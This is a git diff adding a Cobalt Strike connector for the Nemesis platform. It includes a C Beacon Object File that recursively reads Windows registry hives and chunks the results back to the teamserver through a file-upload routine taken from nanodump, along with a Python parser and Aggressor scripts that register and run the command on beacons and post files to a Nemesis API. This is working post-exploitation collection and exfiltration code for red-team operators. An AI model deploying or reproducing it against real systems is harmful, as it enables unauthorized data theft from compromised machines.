+#define WLDAP32$ldap_count_entries ldap_count_entries
+#define WLDAP32$ldap_get_values_lenA ldap_get_values_lenA
+#define WLDAP32$ldap_value_free_len ldap_value_free_len
+#define WLDAP32$ldap_set_optionA ldap_set_optionA
+#define WLDAP32$ldap_search_init_pageA ldap_search_init_pageA
+#define WLDAP32$ldap_get_paged_count ldap_get_paged_count
+#define WLDAP32$ldap_get_next_page_s ldap_get_next_page_s
+#define WLDAP32$ldap_first_entry ldap_first_entry
+#define WLDAP32$ldap_next_entry ldap_next_entry
+#define WLDAP32$ldap_first_attribute ldap_first_attribute
+#define WLDAP32$ldap_count_values ldap_count_values
+#define WLDAP32$ldap_get_values ldap_get_values
+#define WLDAP32$ldap_value_free ldap_value_free
+#define WLDAP32$ldap_next_attribute ldap_next_attribute
+#define WLDAP32$ber_free ber_free
+#define WLDAP32$ldap_memfree ldap_memfree
+#define WLDAP32$ldap_unbind ldap_unbind
+#define WLDAP32$ldap_unbind_s ldap_unbind_s
+#define WLDAP32$ldap_msgfree ldap_msgfree
+#define RPCRT4$UuidToStringA UuidToStringA
+#define RPCRT4$RpcStringFreeA RpcStringFreeA
+#define PSAPI$EnumProcessModulesEx EnumProcessModulesEx
+#define PSAPI$GetModuleFileNameExA GetModuleFileNameExA
+#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA
+#define VERSION$GetFileVersionInfoA GetFileVersionInfoA
+#define VERSION$VerQueryValueA VerQueryValueA
+#define MSVCRT$time time
+#define MSVCRT$srand srand
+#define MSVCRT$rand rand
+#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__)
+#define internal_printf printf
+#endif
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c
new file mode 100644
index 0000000..927307b
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c
@@ -0,0 +1,75 @@
+#include "bofdefs.h"
+
+// Not if anyone else adopts or looks at this
+// Its not threadsafe
+typedef struct _item {
+ void *elem;
+ struct _item *next;
+} item, *Pitem;
+
+typedef struct _queue {
+ Pitem head;
+ Pitem tail;
+ void (*push)(struct _queue *, void *);
+ void *(*pop)(struct _queue *);
+ void (*free)(struct _queue *);
+ int (*size)(struct _queue *);
+} queue, *Pqueue;
+
+int _size(Pqueue q) {
+ int retval = 0;
+ Pitem i = q->head;
+ while (i != NULL) {
+ retval++;
+ i = i->next;
+ }
+ return retval;
+}
+void _push(Pqueue q, void *v) {
+ Pitem i = (Pitem)intAlloc(sizeof(item));
+ i->elem = v;
+ if (q->head == NULL && q->tail == NULL) // empty
+ {
+ q->head = i;
+ q->tail = i;
+ i->next = NULL;
+ } else // not empty
+ {
+ q->tail->next = i;
+ q->tail = i;
+ }
+}
+void *_pop(Pqueue q) {
+ void *retval = NULL;
+ Pitem i = NULL;
+ if (q->head == NULL && q->tail == NULL) // empty
+ {
+ return NULL;
+ }
+ retval = q->head->elem; // scanbuild false positive
+ if (q->head == q->tail) // last elem
+ {
+ intFree(q->head);
+ q->head = NULL;
+ q->tail = NULL;
+ } else // not the last item
+ {
+ i = q->head;
+ q->head = q->head->next;
+ intFree(i);
+ }
+ return retval;
+}
+
+void _free(Pqueue q) { intFree(q); }
+
+Pqueue queueInit() {
+ Pqueue q = (Pqueue)intAlloc(sizeof(queue));
+ q->head = NULL;
+ q->tail = NULL;
+ q->push = _push;
+ q->pop = _pop;
+ q->free = _free;
+ q->size = _size;
+ return q;
+}
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c
new file mode 100644
index 0000000..0c9e26f
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c
@@ -0,0 +1,90 @@
+#include "bofdefs.h"
+
+#define CALLBACK_FILE 0x02
+#define CALLBACK_FILE_WRITE 0x08
+#define CALLBACK_FILE_CLOSE 0x09
+#define CHUNK_SIZE 0xe1000
+
+// https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728
+BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
+ int fileNameLength = MSVCRT$strnlen(fileName, 256);
+
+ // intializes the random number generator
+ time_t t;
+ MSVCRT$srand((unsigned)MSVCRT$time(&t));
+
+ // generate a 4 byte random id, rand max value is 0x7fff
+ ULONG32 fileId = 0;
+ fileId |= (MSVCRT$rand() & 0x7FFF) << 0x11;
+ fileId |= (MSVCRT$rand() & 0x7FFF) << 0x02;
+ fileId |= (MSVCRT$rand() & 0x0003) << 0x00;
+
+ // 8 bytes for fileId and fileLength
+ int messageLength = 8 + fileNameLength;
+ char *packedData = intAlloc(messageLength);
+ if (!packedData) {
+ BeaconPrintf(CALLBACK_ERROR, "Could not download the dump");
+ return FALSE;
+ }
+
+ // pack on fileId as 4-byte int first
+ packedData[0] = (fileId >> 0x18) & 0xFF;
+ packedData[1] = (fileId >> 0x10) & 0xFF;
+ packedData[2] = (fileId >> 0x08) & 0xFF;
+ packedData[3] = (fileId >> 0x00) & 0xFF;
+
+ // pack on fileLength as 4-byte int second
+ packedData[4] = (fileLength >> 0x18) & 0xFF;
+ packedData[5] = (fileLength >> 0x10) & 0xFF;
+ packedData[6] = (fileLength >> 0x08) & 0xFF;
+ packedData[7] = (fileLength >> 0x00) & 0xFF;
+
+ // pack on the file name last
+ for (int i = 0; i < fileNameLength; i++) {
+ packedData[8 + i] = fileName[i];
+ }
+
+ // tell the teamserver that we want to download a file
+ BeaconOutput(CALLBACK_FILE, packedData, messageLength);
+ intFree(packedData);
+ packedData = NULL;
+
+ // we use the same memory region for all chucks
+ int chunkLength = 4 + CHUNK_SIZE;
+ char *packedChunk = intAlloc(chunkLength);
+ if (!packedChunk) {
+ BeaconPrintf(CALLBACK_ERROR, "Could not download the dump");
+ return FALSE;
+ }
+ // the fileId is the same for all chunks
+ packedChunk[0] = (fileId >> 0x18) & 0xFF;
+ packedChunk[1] = (fileId >> 0x10) & 0xFF;
+ packedChunk[2] = (fileId >> 0x08) & 0xFF;
+ packedChunk[3] = (fileId >> 0x00) & 0xFF;
+
+ ULONG32 exfiltrated = 0;
+ while (exfiltrated < fileLength) {
+ // send the file content by chunks
+ chunkLength = fileLength - exfiltrated > CHUNK_SIZE
+ ? CHUNK_SIZE
+ : fileLength - exfiltrated;
+ ULONG32 chunkIndex = 4;
+ for (ULONG32 i = exfiltrated; i < exfiltrated + chunkLength; i++) {
+ packedChunk[chunkIndex++] = fileData[i];
+ }
+ // send a chunk
+ BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, 4 + chunkLength);
+ exfiltrated += chunkLength;
+ }
+ intFree(packedChunk);
+ packedChunk = NULL;
+
+ // tell the teamserver that we are done writing to this fileId
+ char packedClose[4];
+ packedClose[0] = (fileId >> 0x18) & 0xFF;
+ packedClose[1] = (fileId >> 0x10) & 0xFF;
+ packedClose[2] = (fileId >> 0x08) & 0xFF;
+ packedClose[3] = (fileId >> 0x00) & 0xFF;
+ BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
+ return TRUE;
+}
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py
new file mode 100644
index 0000000..1a6e329
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py
@@ -0,0 +1,106 @@
+import struct
+from typing import Tuple, NamedTuple, Union, List
+import sys
+import json
+
+REG_NONE = 0
+REG_SZ = 1
+REG_EXPAND_SZ = 2
+REG_BINARY = 3
+REG_DWORD = 4
+REG_DWORD_BIG_ENDIAN = 5
+REG_LINK = 6
+REG_MULTI_SZ = 7
+# REG_RESOURCE_LIST = 8
+# REG_FULL_RESOURCE_DESCRIPTOR = 9
+# REG_RESOURCE_REQUIREMENTS_LIST = 10
+REG_QWORD = 11
+
+def read_unsigned_int(data: bytes) -> Tuple[int, bytes]:
+ (ret,), data = struct.unpack('>I', data[:4]), data[4:]
+ return ret, data
+
+def read_unsigned_long(data: bytes) -> Tuple[int, bytes]:
+ (ret,), data = struct.unpack(' Tuple[int, bytes]:
+ (ret,), data = struct.unpack('>L', data[:4]), data[4:]
+ return ret, data
+
+def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]:
+ (ret,), data = struct.unpack(' Tuple[bytes, bytes]:
+ (ret,) = struct.unpack(f'>{length}s', data[:length])
+ return ret, data[length:]
+
+def read_string(data: bytes) -> Tuple[bytes, int, bytes]:
+ size, data = read_unsigned_int(data)
+ if size == 0:
+ return b'', size, data
+ ret, data = read_fixed_string(data, size)
+ return ret, size, data
+
+class RegKey(NamedTuple):
+ type_: int
+ path: str
+ path_size: int
+ key: str
+ key_size: int
+ value: Union[bytes, int, List[bytes]]
+ value_size: int
+
+def read_key(data: bytes) -> Tuple[RegKey, bytes]:
+ type_, data = read_unsigned_int(data)
+ path, path_size, data = read_string(data)
+ path = path.decode('utf-16')
+
+ key, key_size, data = read_string(data)
+ key = key.decode('utf-16')
+
+ value = b''
+ value_length = 0
+
+ if type_ == REG_NONE:
+ _, data = read_unsigned_int(data)
+ elif type_ == REG_DWORD:
+ _, data = read_unsigned_int(data)
+ value, data = read_unsigned_long(data)
+ elif type_ == REG_BINARY:
+ value, value_length, data = read_string(data)
+ value = list(value)
+ elif type_ == REG_DWORD_BIG_ENDIAN:
+ _, data = read_unsigned_int(data)
+ value, data = read_unsigned_long_be(data)
+ elif type_ == REG_MULTI_SZ:
+ value, value_length, data = read_string(data)
+ value = [v for v in value.decode('utf-16').split('\0') if v != '']
+ elif type_ == REG_QWORD:
+ _, data = read_unsigned_int(data)
+ value, data = read_unsigned_long_long(data)
+ else:
+ value, value_length, data = read_string(data)
+ value = value.decode('utf-16')
+
+ return RegKey(type_, path, path_size, key, key_size, value, value_length), data
+
+if __name__ == '__main__':
+ if len(sys.argv) != 3:
+ print('Usage: python nemesis_reg_parser.py ')
+ sys.exit(1)
+
+ input_path = sys.argv[1]
+ output_path = sys.argv[2]
+
+ with open(input_path, 'rb') as f:
+ data = f.read()
+ arr = []
+ arr_size, data = read_unsigned_int(data)
+
+ for i in range(arr_size):
+ reg_key, data = read_key(data)
+ arr.append(reg_key._asdict())
+ with open(output_path, 'w') as f:
+ json.dump(arr, f)
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna
new file mode 100644
index 0000000..5367b56
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna
@@ -0,0 +1,41 @@
+sub readbof {
+ local('$barch $handle $data $msg');
+ $barch = barch($1);
+
+ # read in the right BOF file
+ println(script_resource("./build/ $+ $2 $+ . $+ $barch $+ .o"))
+ $handle = openf(script_resource("./build/ $+ $2 $+ . $+ $barch $+ .o"));
+ $data = readb($handle, -1);
+ closef($handle);
+ if(strlen($data) == 0)
+ {
+ berror($1, "could not read bof file");
+ }
+
+ $msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3);
+ blog($1, $msg);
+ btask($1, $msg);
+ return $data;
+}
+
+alias bof_reg_collect {
+ local('$params $args $text');
+
+ if(size(@_) < 2)
+ {
+ berror($1, beacon_command_detail("bof_reg_collect"));
+ return;
+ }
+
+ $hive = $2;
+ $path = $3;
+
+ $args = bof_pack($1, "zzz", "bof_reg_collect.nemesis", $hive, $path);
+ beacon_inline_execute($1, readbof($1, "reg_collect", $msg), "go", $args);
+}
+
+beacon_command_register(
+ "bof_reg_collect",
+ "Does Nemesis registry things",
+ "Usage: bof_reg_collect "
+);
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c
new file mode 100644
index 0000000..a7a4ca2
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c
@@ -0,0 +1,273 @@
+#include "beacon.h"
+#include "bofdefs.h"
+#include "queue.c"
+#include "upload_file.c"
+#include
+#include
+
+#define MAX_KEY_LENGTH 255
+#define MAX_VALUE_NAME 16383
+
+typedef struct _RegPath {
+ unsigned int type;
+
+ unsigned int path_length;
+ wchar_t *path;
+
+ unsigned int key_length;
+ wchar_t *key;
+
+ unsigned int value_length;
+ wchar_t *value;
+} RegPath;
+
+wchar_t *path_join(const wchar_t *path1, wchar_t *path2) {
+ int path1Length = MSVCRT$wcslen(path1);
+ int path2Length = MSVCRT$wcslen(path2);
+ int totalLength = path1Length + path2Length + 2;
+ wchar_t *joined_path = intAlloc(totalLength * sizeof(wchar_t));
+ if (!joined_path) {
+ BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for joined path");
+ return NULL;
+ }
+ MSVCRT$wcscpy(joined_path, path1);
+ MSVCRT$wcscat(joined_path, L"\\");
+ MSVCRT$wcscat(joined_path, path2);
+ return joined_path;
+}
+
+void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
+ const wchar_t *key_path, bool recurse) {
+ HKEY target_reg_key;
+ DWORD rc1, rc2, rc3, rc4;
+
+ if ((rc1 = ADVAPI32$RegOpenKeyExW(hive, key_path, 0,
+ KEY_READ | KEY_ENUMERATE_SUB_KEYS |
+ KEY_QUERY_VALUE,
+ &target_reg_key)) == ERROR_SUCCESS) {
+ WCHAR achClass[MAX_PATH]; // buffer for class name
+ DWORD cchClassName = MAX_PATH; // size of class string
+ DWORD num_subkeys = 0; // number of subkeys
+ DWORD max_subkey_length; // longest subkey size
+ DWORD cchMaxClass; // longest class string
+ DWORD num_values; // number of values for key
+ DWORD max_key_length; // longest value name
+ DWORD max_value_length; // longest value data
+ DWORD cbSecurityDescriptor; // size of security descriptor
+ DWORD i;
+
+ if ((rc2 = ADVAPI32$RegQueryInfoKeyW(
+ target_reg_key, achClass, &cchClassName, NULL, &num_subkeys,
+ &max_subkey_length, &cchMaxClass, &num_values, &max_key_length,
+ &max_value_length, &cbSecurityDescriptor, NULL)) ==
+ ERROR_SUCCESS) {
+
+ // Enumerate Subkeys and recurse
+ if (num_subkeys) {
+ for (i = 0; i < num_subkeys; i++) {
+ DWORD subkey_name_size = MAX_KEY_LENGTH;
+ WCHAR subkey_name[MAX_KEY_LENGTH]; // buffer for subkey name
+ if ((rc3 = ADVAPI32$RegEnumKeyExW(target_reg_key, i, subkey_name,
+ &subkey_name_size, NULL, NULL, NULL,
+ NULL)) == ERROR_SUCCESS) {
+ if (recurse) {
+ wchar_t *new_key = path_join(key_path, subkey_name);
+ QueryRegistryPath(queue, hive, arg_hive, new_key, recurse);
+ intFree(new_key);
+ }
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "RegEnumKeyEx error: %d\n", rc3);
+ }
+ }
+ }
+
+ // Enumerate Keys.
+ if (num_values) {
+ for (i = 0, rc4 = ERROR_SUCCESS; i < num_values; i++) {
+ LPWSTR key = (LPWSTR)intAlloc(++max_key_length * sizeof(WCHAR));
+ DWORD key_length = max_key_length;
+ DWORD value_type;
+ LPBYTE value_data = (LPBYTE)intAlloc(max_value_length);
+ DWORD value_data_length = max_value_length;
+
+ if ((rc4 = ADVAPI32$RegEnumValueW(
+ target_reg_key, i, key, &key_length, NULL, &value_type,
+ value_data, &value_data_length)) == ERROR_SUCCESS) {
+ RegPath *regPath = (RegPath *)intAlloc(sizeof(RegPath));
+ queue->push(queue, regPath);
+ regPath->type = value_type;
+
+ wchar_t *total_path = path_join(arg_hive, key_path);
+ size_t total_path_length = MSVCRT$wcslen(total_path);
+ regPath->path_length = total_path_length * sizeof(wchar_t);
+ regPath->path = (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t));
+ MSVCRT$memcpy(regPath->path, total_path,
+ total_path_length * sizeof(wchar_t));
+
+ regPath->key_length = key_length * sizeof(wchar_t);
+ regPath->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t));
+ MSVCRT$memcpy(regPath->key, key, key_length * sizeof(wchar_t));
+
+ if (value_type == REG_NONE) {
+ regPath->value_length = 0;
+ regPath->value = NULL;
+ } else if (value_type == REG_SZ) {
+ regPath->value_length = value_data_length;
+ regPath->value = (wchar_t *)intAlloc(value_data_length);
+ MSVCRT$memcpy(regPath->value, value_data, value_data_length);
+ } else if (value_type == REG_EXPAND_SZ) {
+ wchar_t *raw_value = (wchar_t *)intAlloc(value_data_length);
+ MSVCRT$memcpy(raw_value, value_data, value_data_length);
+ // Use ExpandEnvironmentStringsW to expand the string
+ DWORD expandedSize =
+ KERNEL32$ExpandEnvironmentStringsW(raw_value, NULL, 0);
+ DWORD total_size = (expandedSize + 1) * sizeof(wchar_t);
+ wchar_t *expanded = (wchar_t *)intAlloc(total_size);
+ KERNEL32$ExpandEnvironmentStringsW(raw_value, expanded,
+ expandedSize);
+ // Copy the expanded string into the value
+ regPath->value_length = total_size;
+ regPath->value = expanded;
+ intFree(raw_value);
+ } else if (value_type == REG_BINARY) {
+ regPath->value_length = value_data_length;
+ regPath->value = (wchar_t *)intAlloc(value_data_length);
+ MSVCRT$memcpy(regPath->value, value_data, value_data_length);
+ } else if (value_type == REG_DWORD ||
+ value_type == REG_DWORD_BIG_ENDIAN) {
+ regPath->value_length = sizeof(DWORD);
+ regPath->value = (wchar_t *)intAlloc(sizeof(DWORD));
+ DWORD value = *(DWORD *)value_data;
+ MSVCRT$memcpy(regPath->value, &value, sizeof(DWORD));
+ } else if (value_type == REG_LINK) {
+ // TODO
+ } else if (value_type == REG_MULTI_SZ) {
+ regPath->value_length = value_data_length;
+ regPath->value = (wchar_t *)intAlloc(value_data_length);
+ MSVCRT$memcpy(regPath->value, value_data, value_data_length);
+ } else if (value_type == REG_QWORD) {
+ regPath->value_length = sizeof(QWORD);
+ regPath->value = (wchar_t *)intAlloc(sizeof(QWORD));
+ QWORD value = *(QWORD *)value_data;
+ MSVCRT$memcpy(regPath->value, &value, sizeof(QWORD));
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "Unsupported type: %d\n",
+ value_type);
+ regPath->value_length = 0;
+ }
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "Error code: %li\n", rc4);
+ }
+ intFree(key);
+ intFree(value_data);
+ }
+ }
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n",
+ rc2);
+ }
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1);
+ }
+ ADVAPI32$RegCloseKey(target_reg_key);
+}
+
+void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) {
+ Pitem cursor;
+ RegPath *curitem;
+ formatp obj;
+ int i = 1;
+ unsigned int size = 0;
+ char *out;
+ int fmt_size;
+
+ cursor = queue->head;
+
+ // Calculate size of the buffer
+ size += sizeof(unsigned int);
+ while (cursor != queue->tail) {
+ RegPath *reg_cursor = (RegPath *)cursor->elem;
+ i++;
+ size += sizeof(RegPath) + reg_cursor->key_length + reg_cursor->path_length +
+ reg_cursor->value_length;
+ cursor = cursor->next;
+ }
+
+ BeaconFormatAlloc(&obj, size);
+ BeaconFormatInt(&obj, i);
+
+ while ((curitem = queue->pop(queue)) != NULL) {
+ BeaconFormatInt(&obj, curitem->type);
+ BeaconFormatInt(&obj, curitem->path_length);
+ BeaconFormatAppend(&obj, (char *)curitem->path, curitem->path_length);
+ BeaconFormatInt(&obj, curitem->key_length);
+ BeaconFormatAppend(&obj, (char *)curitem->key, curitem->key_length);
+ BeaconFormatInt(&obj, curitem->value_length);
+ if (curitem->type == REG_DWORD || curitem->type == REG_DWORD_BIG_ENDIAN) {
+ BeaconFormatAppend(&obj, (char *)curitem->value, sizeof(DWORD));
+ } else if (curitem->type == REG_QWORD) {
+ BeaconFormatAppend(&obj, (char *)curitem->value, sizeof(QWORD));
+ } else {
+ BeaconFormatAppend(&obj, (char *)curitem->value, curitem->value_length);
+ }
+
+ // clean up
+ intFree(curitem->value);
+ intFree(curitem->key);
+ intFree(curitem->path);
+ intFree(curitem);
+ }
+ queue->free(queue);
+
+ out = BeaconFormatToString(&obj, &fmt_size);
+ UploadFile(upload_file_name, out, fmt_size);
+ BeaconFormatFree(&obj);
+}
+
+void go(char *args, int alen) {
+ Pqueue queue;
+ HKEY target_hive;
+ char *arg_file_name;
+ char *arg_hive;
+ char *arg_path;
+ wchar_t *path;
+ datap parser;
+ int num_keys;
+
+ BeaconDataParse(&parser, args, alen);
+ arg_file_name = BeaconDataExtract(&parser, NULL);
+ arg_hive = BeaconDataExtract(&parser, NULL);
+ arg_path = BeaconDataExtract(&parser, NULL);
+
+ if (MSVCRT$strcmp(arg_hive, "HKCR") == 0) {
+ target_hive = HKEY_CLASSES_ROOT;
+ } else if (MSVCRT$strcmp(arg_hive, "HKCU") == 0) {
+ target_hive = HKEY_CURRENT_USER;
+ } else if (MSVCRT$strcmp(arg_hive, "HKLM") == 0) {
+ target_hive = HKEY_LOCAL_MACHINE;
+ } else if (MSVCRT$strcmp(arg_hive, "HKU") == 0) {
+ target_hive = HKEY_USERS;
+ } else if (MSVCRT$strcmp(arg_hive, "HKCC") == 0) {
+ target_hive = HKEY_CURRENT_CONFIG;
+ } else {
+ BeaconPrintf(CALLBACK_ERROR, "Unknown hive: %s", arg_hive);
+ return;
+ }
+
+ wchar_t arg_hive_w[100];
+ toWideChar(arg_hive, arg_hive_w, 100);
+
+ queue = queueInit();
+
+ int wchars_num =
+ KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, NULL, 0);
+ path = (wchar_t *)intAlloc(wchars_num * sizeof(wchar_t));
+ KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, path, wchars_num);
+
+ QueryRegistryPath(queue, target_hive, arg_hive_w, path, true);
+ num_keys = queue->size(queue);
+ BeaconPrintf(CALLBACK_OUTPUT, "Total reg keys: %d", num_keys);
+ if (num_keys != 0)
+ FormatUploadRegistryData(queue, arg_file_name);
+ intFree(path);
+}
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/file.cna b/cmd/connectors/cobaltstrike-nemesis-connector/file.cna
new file mode 100755
index 0000000..ff09f98
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/file.cna
@@ -0,0 +1,40 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+
+sub file::ReadAllBytes {
+ # helper to read file bytes
+ local('$1 $path $handle $bytes $error');
+
+ $path = $1;
+
+ $handle = openf($path);
+ throw checkError($error);
+
+ $bytes = readb($handle, -1);
+ closef($handle);
+
+ return $bytes;
+}
+
+
+sub file::ReadBOF {
+ local('$1 $2 $3 $barch $handle $data $msg');
+ $barch = barch($1);
+
+ # read in the right BOF file
+ $handle = openf(script_resource("./bof_reg_collect/build/ $+ $2 $+ . $+ $barch $+ .o"));
+ $data = readb($handle, -1);
+ closef($handle);
+ if(strlen($data) == 0)
+ {
+ berror($1, "Could not read BOF file");
+ }
+
+ $msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3);
+ btask($1, $msg);
+ return $data;
+}
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna b/cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna
new file mode 100755
index 0000000..0d965fc
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna
@@ -0,0 +1,118 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+global('%nemesis::Settings');
+
+import java.util.Calendar;
+
+sub helpers::IsHeadlessClient {
+ # returns true if the client is headless (i.e., agscript)
+ import aggressor.*;
+
+ if([aggressor.Aggressor getFrame] is $null) {
+ return true;
+ } else {
+ return false;
+ }
+}
+
+sub helpers::FormatDateIso8601 {
+ # Returns the date (optionally supplied) as an ISO 8601 formatted time
+ # From https://www.quora.com/How-do-I-get-the-current-UTC-date-using-Java
+ local('$1 $date $dateFormat $UtcTimezone $dateStr');
+
+ if($1) {
+ $date = [new java.util.Date: $1];
+ } else {
+ $date = [new java.util.Date];
+ }
+
+ $dateFormat = [new java.text.SimpleDateFormat: "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"];
+ $UtcTimezone = [java.util.TimeZone getTimeZone: "UTC"];
+ [$dateFormat setTimeZone: $UtcTimezone];
+ $dateStr = [$dateFormat format: $date];
+
+ return $dateStr;
+}
+
+sub helpers::BuildJson {
+ # Takes a BeaconID/datatype/data and builds a proper JSON string
+ local('$1 $2 $3 $4 $5 $BID $Datatype $TimeStamp $Data %JsonData $IndentSpaces $JsonString');
+
+ $BID = $1;
+ $Datatype = $2;
+ $Data = $3;
+ $TimeStamp = $4;
+ $IndentSpaces = $5;
+
+ %JsonData = %(
+ metadata => helpers::GetMetadata($BID, $Datatype, $TimeStamp),
+ data => $Data
+ );
+
+ $JsonString = json_dumps(%JsonData, $IndentSpaces);
+
+ # Yes, the following is a hack because Aggressor bools are not properly jsonified into true/false for the protobufs >_<
+ $JsonString = replace($JsonString, "\"true\"", "true");
+ $JsonString = replace($JsonString, "\"false\"", "false");
+
+ return $JsonString;
+}
+
+
+sub helpers::GetMetadata {
+ # Gets a metadata hashtable for the current beacon ID
+ local('$1 $2 $3 $BID $Expiration $Datatype $TimeStamp');
+
+ $BID = $1;
+ $Datatype = $2;
+
+ if(!$3) {
+ # if a timestamp isn't passed, use the current time
+ $TimeStamp = [new java.util.Date];
+ }
+ else {
+ $TimeStamp = long($3);
+ }
+
+ $Expiration = helpers::GetExpirationTime($TimeStamp);
+
+ return %(
+ agent_id => $BID,
+ agent_type => "beacon",
+ automated => "true",
+ data_type => $Datatype,
+ expiration => helpers::FormatDateIso8601($Expiration),
+ # source => beacon_info($BID, "computer"), # only have the netbios name here unfortunately
+ project => %nemesis::Settings['NemesisProject'],
+ timestamp => helpers::FormatDateIso8601($TimeStamp)
+ );
+}
+
+sub helpers::GetExpirationTime {
+ # Gets the current time and adds the specified number ('DataExpirationDays')
+ # of days to create the expiration date for the data entry
+ local('$1 $Date $Calendar $Days $ExpirationHours');
+
+ $Date = [new java.util.Date: $1];
+
+ $Days = %nemesis::Settings['DataExpirationDays'];
+ $ExpirationHours = $Days * 24;
+
+ $Calendar = [java.util.Calendar getInstance];
+ [$Calendar setTime: $Date];
+ [$Calendar add: [java.util.Calendar HOUR], $ExpirationHours];
+
+ return [$Calendar getTime];
+}
+
+sub helpers::GetRandomFileName {
+ local('$random');
+
+ $random = [java.util.UUID randomUUID];
+
+ return [$random toString];
+}
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/http.cna b/cmd/connectors/cobaltstrike-nemesis-connector/http.cna
new file mode 100644
index 0000000..79699c1
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/http.cna
@@ -0,0 +1,516 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+
+import java.net.*;
+import java.io.DataOutputStream;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+
+# have to add this to the -Dclass path in the `agscript` binary >_<
+import SSLUtils;
+
+global('%nemesis::Settings');
+
+
+sub http::UploadFile {
+ # Uploads a file to the http://nemesis/file endpoint, returning a object_id UUID
+
+ local('$1 $filepath @parts $filename $auth_header $guid $file_bytes $in $url $urlobj $con $wr $responseCode $message $inputLine $message2 $date $url $urlobj $con');
+
+ $filepath = $1;
+ @parts = split('/', $filepath);
+ $filename = @parts[-1];
+ $file_bytes = file::ReadAllBytes($filepath);
+
+ # POST to http://nemesis/file
+ $url = %nemesis::Settings['NemesisApiUrl']. 'file';
+ $urlobj = [new URL: $url];
+ $con = [$urlobj openConnection];
+
+ # headers/auth stuffs
+ [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"];
+ [$con setRequestProperty: "Content-Type", "application/octet-stream"];
+ $auth_header = "Basic " . base64_encode(%nemesis::Settings['NemesisCreds']);
+ [$con setRequestProperty: "Authorization", $auth_header];
+ [$con setRequestMethod: "POST"];
+ [$con setDoOutput: true];
+ [$con setConnectTimeout: 5000];
+
+ # TODO: handle very large files!
+ try {
+ [$con connect];
+ $wr = [new DataOutputStream: [$con getOutputStream]];
+ [$wr writeBytes: $file_bytes];
+ [$wr flush];
+ [$wr close];
+
+ $responseCode = 0;
+ try {
+ $responseCode = [$con getResponseCode];
+ }
+ catch $message
+ {
+ logger::WriteError("[UploadFile] " . $message);
+ }
+
